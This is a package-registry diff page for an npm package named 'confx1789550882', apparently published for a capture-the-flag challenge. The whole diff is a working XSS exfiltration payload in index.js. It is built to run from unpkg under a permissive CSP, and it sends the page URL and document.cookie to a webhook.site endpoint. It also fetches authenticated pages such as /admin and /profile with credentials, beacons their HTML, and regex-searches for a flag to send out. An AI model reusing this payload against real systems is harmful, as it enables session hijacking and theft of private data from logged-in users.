confx1789550882 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +34 -0
  2. package/package.json +7 -0
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ // unpkg-hosted exfil payload = also our blind oracle.
2
+ // CSP allows script-src https://unpkg.com/ , so this file runs in the
3
+ // developer-bot's same-origin context when loaded via <script src>.
4
+ (async () => {
5
+ const W = 'https://webhook.site/04d98207-c947-4938-9f0c-f92feae051cb/';
6
+ const hit = (k, v) => fetch(W + '?' + k + '=' + encodeURIComponent(String(v))).catch(() => {});
7
+
8
+ // 1) Prove code exec + who/where the bot is
9
+ hit('href', location.href);
10
+ hit('cookie', document.cookie);
11
+
12
+ // 2) Read pages only the authenticated developer-bot can see, beacon their HTML
13
+ const grab = async (path) => {
14
+ try {
15
+ const r = await fetch(path, { credentials: 'include' });
16
+ const t = await r.text();
17
+ hit('page_' + path.replace(/[^a-z0-9]/gi, '_'), t.slice(0, 3000));
18
+ } catch (e) { hit('err_' + path.replace(/[^a-z0-9]/gi, '_'), '' + e); }
19
+ };
20
+ for (const p of ['/profile', '/', '/feed', '/admin', '/dev', '/developer', '/flag', '/me', '/dashboard']) {
21
+ await grab(p);
22
+ }
23
+
24
+ // 3) Regex-scan everything reachable for the flag and beacon just the flag
25
+ try {
26
+ const bodies = await Promise.all(
27
+ ['/profile', '/', '/feed', '/flag', '/me'].map(p =>
28
+ fetch(p, { credentials: 'include' }).then(r => r.text()).catch(() => ''))
29
+ );
30
+ const m = (document.documentElement.outerHTML + ' ' + bodies.join(' ') + ' ' + document.cookie)
31
+ .match(/DGA\{[^}]*\}/i);
32
+ if (m) hit('FLAG', m[0]);
33
+ } catch (e) { hit('scanerr', '' + e); }
34
+ })();
package/package.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "confx1789550882",
3
+ "version": "1.0.0",
4
+ "description": "ctf",
5
+ "main": "index.js",
6
+ "license": "MIT"
7
+ }